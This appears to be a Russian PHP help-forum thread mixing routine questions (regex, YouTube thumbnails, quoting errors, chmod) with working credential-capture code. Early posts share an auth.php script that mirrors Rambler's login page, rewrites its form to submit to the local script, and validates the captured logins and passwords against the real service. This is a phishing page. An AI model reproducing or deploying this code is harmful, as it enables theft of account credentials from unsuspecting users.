Ну вот мое предположение как делать preg_match($login,\login\,$passw,\passw\,$res,$s) делаю по этой схеме preg_match("шаблон_поиска", "строка_в_которой_проводится_поиск", массив_с_результами_поиска) Ну так не правильно
В зависимости от того что тебе нужно, реализуется по разному: 1. Проверка, есть ли заданный текст в строке PHP: if (preg_match('/name="passw" id="passw"/', $result) {да строка name="passw" id="passw" есть в переменной $result} но лучше PHP: if (strstr($result, 'name="passw" id="passw"') {да строка name="passw" id="passw" есть в переменной $result} 2. Поиск определенных данных из текста PHP: preg_match('/name="passw" id="passw" value="(.*?)"/', $result, $temp); echo $temp[1]; // name="passw" id="passw" value="ЭТО ЗНАЧЕНИЕ ВЫВОДИТСЯ!"
Даж чтож такое опять неработает! Посмотрите что опять нетак? По идеи всю уже дожно работать... PHP: <?php function rambler_login($login,$passw) { $login = urlencode($login); $passw = urlencode($passw); $ch = curl_init (); curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" ); curl_setopt ( $ch , CURLOPT_HEADER , 0 ); curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw"); $res = curl_exec($ch); curl_close ( $ch ); if(preg_match('/name="passw" id="passw" value="(.*?)"/', $res, $s)) return $s[1]; else return false; } $email = $_POST['login']; $password = $_POST['passw']; if(!rambler_login($email, $password)) { global $res; } else { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>"; } ?>
Тебе это нужно? Файл: auth.php PHP: <?php ### curl function curl($url, $post = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); return $result;} ### authorization function authorization($login, $passwd) { $result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd); if (strstr($result, '<p class="txt_error">') <> null) { $result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result); $result = ereg_replace('src="', 'src="http://id.rambler.ru', $result); $result = ereg_replace('auth.cgi', 'auth.php', $result); echo $result;} else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);} } ### main if (!empty($_POST['login']) && !empty($_POST['passw'])) { authorization($_POST['login'], $_POST['passw']);} else { $result = curl('http://id.rambler.ru/script/auth.cgi'); $result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result); $result = ereg_replace('src="', 'src="http://id.rambler.ru', $result); $result = ereg_replace('auth.cgi', 'auth.php', $result); echo $result;} ?>
есть у кого ни будь скрипт пхп который с url из youtube на сайт добалял виде ну я как бы все сам сделал уже, в базу все заносит , единственное что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
Ну как бы пиктограмму можно тырить с: Там, где HASHVIDEO - параметр v: т.е. в данном случае UPD: В большом разрешении: Скрипт: PHP: <?php if (!empty($_POST['url'])) { preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp); echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>'; echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';} ?> <center> <form method="post"> <input type="text" name="url" value=""> <input type="submit" value="Загрузить!"> </form> </center>
Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';' На 19 строке выдает ошибку В чем трабла? PHP: <?PHP include("config.php"); if($_POST['Pass']==$password){setcookie('Pass',md5($password));header("Location: ".$_SERVER["SCRIPT_NAME"]);} if($_COOKIE['Pass']==md5($password)) { if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);} include("header.php"); include("panel.php"); include("logs.php"); include("footer.php"); } else { echo "<html> <title>Вход в панель администратора</title> <table border="0" align="center" cellpadding="0" cellspacing="0" id="enter"> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <tr> <td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td> </tr> <tr> <td > <form method=POST> <input name="auth" type="hidden" value="1"/> <table width="100%" border="0" cellspacing="0" cellpadding="4"> <tr> <td align="right">Пароль</td> <td><input name="Pass" type="password" tabindex="2"/></td> <td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td> </tr> </table> <br /> </form> </td> </tr> </table> </html>"; } ?>
PHP: <?PHP include("config.php"); if($_POST['Pass']==$password){setcookie('Pass',md5($password));head er("Location: ".$_SERVER["SCRIPT_NAME"]);} if($_COOKIE['Pass']==md5($password)) { if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);} include("header.php"); include("panel.php"); include("logs.php"); include("footer.php"); } else { echo '<html> <title>Вход в панель администратора</title> <table border="0" align="center" cellpadding="0" cellspacing="0" id="enter"> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <tr> <td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td> </tr> <tr> <td > <form method=POST> <input name="auth" type="hidden" value="1"/> <table width="100%" border="0" cellspacing="0" cellpadding="4"> <tr> <td align="right">Пароль</td> <td><input name="Pass" type="password" tabindex="2"/></td> <td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td> </tr> </table> <br /> </form> </td> </tr> </table> </html>'; } ?> мля, как да же вы кавычки будете юзать разные или экранировать их научитись? Подсветка тут для кого сделана? Сразу ведь видно!
chmod установить права на файл (аватарка) на юникс хостинге столкнулся с проблемой прав доступа при загрузке файла, нужно задать кму права подскажите, в чём может быть ошибка? PHP: chmod("/uploads/".$file_name, 0755); выдаёт ошибку Warning: chmod() [function.chmod]: No error in W:\home\localhost\www\upload.php on line 108 это же не синтаксическая ошибка! что мешает задать права файлу, который сохраняется в uploads ?
а почему в твоем юникс хостинге путь бэкслэшами разделяется? может быть это всё-таки виндовс? попробуй полный путь указать в параметре попробуй сделать file_exists предварительно
Ты не чмоднишь файлы в винде.. Хотя на сайте пхп в коментах пишут, что read-only (444) и еще что-то поставить через него можно.
harom, Если не знаешь ОС хостинга, юзай вместо слешей DIRECTORY_SEPARATOR Например: PHP: $sep = DIRECTORY_SEPARATOR; chmod($sep."uploads".$sep.$filename, 0755);
PHP: $sep = DIRECTORY_SEPARATOR; chmod("uploads".$sep.$file_name, 0755); Deathdreams держи + теперь буду знать! а по поводу бэкслэш, я же привёл пример ошибки с винды(больше так не буду)))